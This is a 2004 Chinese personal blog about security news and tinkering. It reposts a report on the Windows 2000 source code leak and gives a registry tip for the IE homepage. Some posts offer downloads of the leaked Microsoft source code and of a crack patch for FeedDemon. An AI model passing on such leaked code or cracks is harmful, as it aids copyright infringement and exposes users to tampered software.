    为了检测修改东东的效果,现在安装了kv,瑞星,诺顿等杀毒软件,前一段时间瑞星不能升级了,今天又换了个正版的:)
    下载地址

    Posted by vitter at 2004-02-17 10:26:53 | 评论 (0)

    February 15, 2004

    Windows 2000源代码泄露可能引发安全危机

    Windows 2000源代码泄露可能引发安全危机
    看到TOM科技的消息:

    微软公司正在调查一个包含有部分受到保护的Windows 2000源代码的文件是如何被泄露到几个地下网站和聊天室中的。


      据媒体报道称,微软公司的发言人汤姆于当地时间本周四晚些时候证实说,不完整的Windows 2000和Windows NT源代码被非法泄露到了互联网上。他说,第三方发布微软公司的源代码是非法的,我们将严肃对待这一问题。微软公司表示,它正在调查这些源代码是如何泄露到互联网上的,并正在与司法机关进行合作。汤姆表示,随着调查的深入,我们将采取一切恰当的法律措施。


      微软公司称,源代码的泄露可能是由一家软件开发商造成的,但它在本周五并没有透露有嫌疑的开发商的名字。


      汤姆表示,这一问题对客户没有任何影响。在谈到长期的安全影响时,汤姆表示,泄露的代码不是可执行代码,而且也不是完整的代码。


      安全顾问德拉戈斯表示,这一203MB的文件中包含有来自微软公司企业操作系统的源代码,但很明显这些代码是不完整的。这些文件目前被放到了P2P网络和IRC(互联网聊天室),任何上都可以获得它。这些代码已经被广泛传播。203MB的压缩文件解压缩后的大小为660MB,德拉戈斯说,全部的源代码可能有40GB之多,这意味着泄露的文件只是整个源代码的极少一部分。他表示,这些源代码看来是货真价实的,但我们不能用它生成Windows,它只是Windows源代码的一部分。


      泄露的源代码使得互联网用户急于下载它,也使一些安全专家感到担忧。反病毒厂商赛门铁克公司安全响应躍的资深经理奥利弗表示,这肯定不是什么好事儿,黑客能够发现其中存在的合法安全人员不能首先发现的安全缺陷。


      但微软公司却对可能的安全威胁不以为然。它在一份声明中说,主要的问题是对其源代码的盗用,而不是由此造成的安全威胁。


      微软公司一向对其各种版本的Windows操作系统源代码看管很严,只有签署了协议的大学和政府机构才可以看到这些源代码。尽管微软公司可以运行的操作系统偶尔会被泄露到互联网上,但真正的源代码被泄露是极罕见的。


      尽管微软公司的主席比尔·盖茨多次公开吹嘘Windows的安全性,微软公司也非常担心其源代码的泄露。在反垄断案中作证时,微软公司的资深副总裁吉姆表示,开放微软公司的源代码会破坏操作系统的安全性。他说,病毒作者对Windows中的反病毒机制了解得越多,就越容易破坏这些机制。


      安全咨询厂商PiVX方案公司的资深安全研究人员拉霍姆表示,吉姆的担心没有错。他说,只要看一下在没有源代码的情况下发现的安全缺陷数量就清楚了。大多数的Windows服务器仍然运行Windows 2000,Windows 2000中的许多代码与Windows XP和Windows Server 2003相同。


      但其它专家则认为,对这次源代码泄露会造成大量发现安全缺陷的担心是完全不必要的。一位要求不透露姓名的微软公司安全顾问表示,从理论上说,对于优秀的反编译专家而言,所有的代码都是开放源代码。


      德拉戈斯表示,微软公司源代码泄露的效果可能与开放源代码相似。他说,就短期而言,这可能是个问题,但就长期而言,这对于微软公司而言可能是件好事,它的代码将更安全。

    Posted by vitter at 2004-02-15 17:40:42 | 评论 (0)

    February 14, 2004

    微软代码泄漏啦!

    MS的源码泄漏了,我先下回来个看看:)估计又不知道要有多少漏洞被挖出拉。MS对安全不关注,只是关注知识产权的问题!

    泄漏代码下载

    Posted by vitter at 2004-02-14 22:44:37 | 评论 (0)

    RSS好东西啊,推荐大家使用

    新闻直接到桌面,不用去网站,哈哈
    http://www.djeaux.com/rss/insecure-full-bugtraq.rss
    http://www.cert.org/channels/certcc.rdf
    http://www.djeaux.com/rss/insecure-fulldisclosure.rss
    http://www.securityfocus.com/rss/news.xml
    http://www.securityfocus.com/rss/vulnerabilities.xml
    http://www.stupidsecurity.com/stupidsecurity.rss
    这是几个安全相关的rss
    news feed的工具强烈推荐使用feeddemon,正式版1.0已经发布,破解也有了:)feeddemon及其破解补丁

    Posted by vitter at 2004-02-14 00:59:16 | 评论 (1)

    February 13, 2004

    刚才同学问我ie的首页被改了如何改回来

    这个很好解决的啊
    只需要修改注册表,我的网站上有的啊
    现在再说一遍
    修改主页的项禁用,使你不能修改主页,通过下面方法
    注册表键值: HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\homepage
    键值0为可修改,1为不可修改。

    Posted by vitter at 2004-02-13 19:06:48 | 评论 (0)

    再次汉化

    修改了界面,并且汉化了部分内容
    只是对中文的从数据库读入编辑里还是有点问题
    不过懒得理它了

    Posted by vitter at 2004-02-13 15:47:22 | 评论 (1)

    第一篇

    自己做好了MT并且汉化了:)
    测试ing

    Posted by vitter at 2004-02-13 12:57:34 | 评论 (0)